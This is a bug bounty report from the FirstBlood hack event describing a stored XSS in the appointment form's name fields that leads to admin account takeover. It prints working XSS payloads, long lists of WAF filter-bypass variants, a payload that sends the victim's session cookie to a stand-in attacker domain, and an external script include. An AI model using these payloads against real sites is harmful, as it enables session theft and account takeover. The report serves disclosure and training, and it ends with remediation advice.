FirstBlood-#207Stored XSS on /drpanel/drapi/query.php endpoint leading to Admin Account Takeover



On 2021-05-12, holybugx reported:

Description

Hello Sean,

I found a stored XSS on the /drpanel/drapi/query.php?aptid={ID} endpoint. there was some strong filtering in place that would delete lots of event handlers and HTML tags.

I've explained how I was able to bypass the filterings in depth below after the proof of concept.

Steps to reproduce

When patients want to reserve an appointment they are given a form that they should fill in, the endpoint is /book-appointment.html, but I found out that the Name(fname) and LastName (lname) fields are vulnerable to XSS:

Fill in the form as I showed above and before sending it, intercept the request and send the request to the repeater for later use, this is how your request should look like (of course with your inputted values):

The fname and lname parameters are vulnerable to XSS, and both of them have the same filtering so the payload I'm going to demonstrate works on both parameters.

Please use one of the following payloads depending on the browser you are using to reproduce the XSS

First Payload - Works without any user interaction on all browsers but needs a click on firefox

<xss/id="1"/tabindex="1"/autofocus/onfocusin="confirm%600%60">

Second Payload - Works without any user interaction on all browsers but chrome

<marquee onstart=confirm``>XSS</marquee>

Using any of those payloads, they are going to be sent over to the doctor's panel

Clicking those will get the information and query the data using the /drpanel/drapi/query.php?aptid={ID} endpoint, you can see this in burp's proxy after clicking the payload in the doctor's panel:

Directly opening the API endpoint shown above executes the XSS, you can use burp's Copy URL to reproduce, also I made the following screenshots demonstrating that both payloads mentioned above work depending on the browser.

  • Firefox (as I used the first payload you need a click for this, shown in the screenshot)

  • Chrome (no user interaction needed)

Exploitation

This issue doesn't end here, an attacker can build a payload to send the logged-in admin cookie over to his server and later use them to access his account and do a successful admin account takeover

I modified the first payload I showed above to steal the admin's cookies and send them over to the attacker's server, the final payload is:

<xss/id="1"/tabindex="1"/autofocus/onfocusin="window.location.href='http://Attacker.com/'%2bdocument.cookie">

Where http://attacker.com is the attacker's controlled domain, opening the injected API endpoint URL results in the redirection of the victim to an attacker's domain and leaking the drps cookie along with it.

  • Firefox (as I used the first payload you need a click for this, shown before)

  • Chrome (no user interaction needed)

An attacker can set this cookie on his browser to access drAdmin (Administrator).

This happens because of two cookies misconfiguration:

  1. Cookies are not set as httponly which makes it possible for an attacker to steal cookies using javascript.

  2. Cookies are not deleted/expired as they meant to be after logging out, which makes it possible for an attacker to re-use the cookies whenever he wants to.

Set-Cookie: drps=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/

Filter bypassing

I was able to bypass the filtering in 2 ways:

  • Using a custom HTML tag with a less-known event handler onfocusin.
  • Using <marquee> with onstart event handler.

Event handlers

  • onfocusin event handler occurs when an element is about to get focus.
  • onstart event handler occurs when a marquee element begins the scrolling animation and when a new loop starts.

I built 2 payloads as I mentioned above, that I'm going to explain what I've been through to find those and bypass the filters.

First Payload --> Works without any user interaction on all browsers but needs a click on firefox

This payload makes use of a custom HTML tag with the onfocusin event handler.

  • During building this payload I found out that most of the HTML tags are espaced and filtered, so I found out that I should use a custom HTML tag --> <xss>

  • I used / as a "spacer", there are more to try to use in here, that's used when the "space" is filtered, an example of other "spacers" you can use to try bypassing the filtering is:

<x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1
  • For bypassing the event handlers blacklist I used the onfocusin event handler, however, I tested some possible bypasses such as:
  1. Random Encoding:
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1
  1. Random Uppercasing:
<X onxxx=1
<x ONxxx=1
<x OnXxx=1
<X OnXxx=1
  1. Doubling (Maybe the filter only looks for one occurrence of the pattern):
<x onxxx=1 onxxx=1

I was close with this one, however, for some reason the = after the event handler was being deleted if "doubling" were detected.

  1. Quotes (We may try to fool the filter with a quote before the handler using a tag pseudo-attribute):
<x 1='1'onxxx=1
<x 1="1"onxxx=1

Most of these bypassing techniques were not working, but literally I found out that I can use the onfocusin event handler with no filtering being done

  • Alert keyword was filtered, so I used confirm, and it was not filtered, but if it was this was the list of other blacklisting bypasses I would have done to get confirm to work:
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
  • When parentheses are filtered you can either use ` ` as I did or in some cases, you can use encoding tricks such as HTML encode or URL encoding/Double URL encoding depending on the case.
confirm(1) --> confirm`1`

So finally I came up to the conclusion that the following payload works:

<xss/id="1"/tabindex="1"/autofocus/onfocusin="confirm%600%60">
Second Payload --> Works without any user interaction on all browsers but chrome:

As I did the filtering bypassing test I've explained above I find out that there another payload that can be put to work, using <marquee> with onstart event handler.

This was not as hard as the first payload, the working payload is:

<marquee onstart=confirm``>XSS</marquee>

Update

I had a hard time bypassing the WAF as I described above, However, I just found out that I can include external JS with some tricks to be used.

  • The following payload can be used to include an external JS and to get a working XSS payload on all browsers without user interaction:
<script/src="//waf.party"></script/onerror>

Remediation

  • Proper filtering and sanitization on the vulnerable fname and lname parameters.
  • Preferably set httponly cookies so that javascript can not be used to steal cookies.

Impact

  • Admin Account takeover

Best Regards,

HolyBugx

P2 High

Parameter:

Payload:


FirstBlood ID: 10
Vulnerability Type: Stored XSS

When creating an appointment, it is possible to get stored XSS /drapi/query.php via the patients name

Report Feedback

@zseano

Creator & Administrator


AMAZING Report!


Respect Earnt: 3500000
RESPECT ($RSP) is an experimental cryptocurrency based on the Ethereum blockchain with the mission to show respect to those who deserve it. We are testing it out on our FirstBlood hackevent.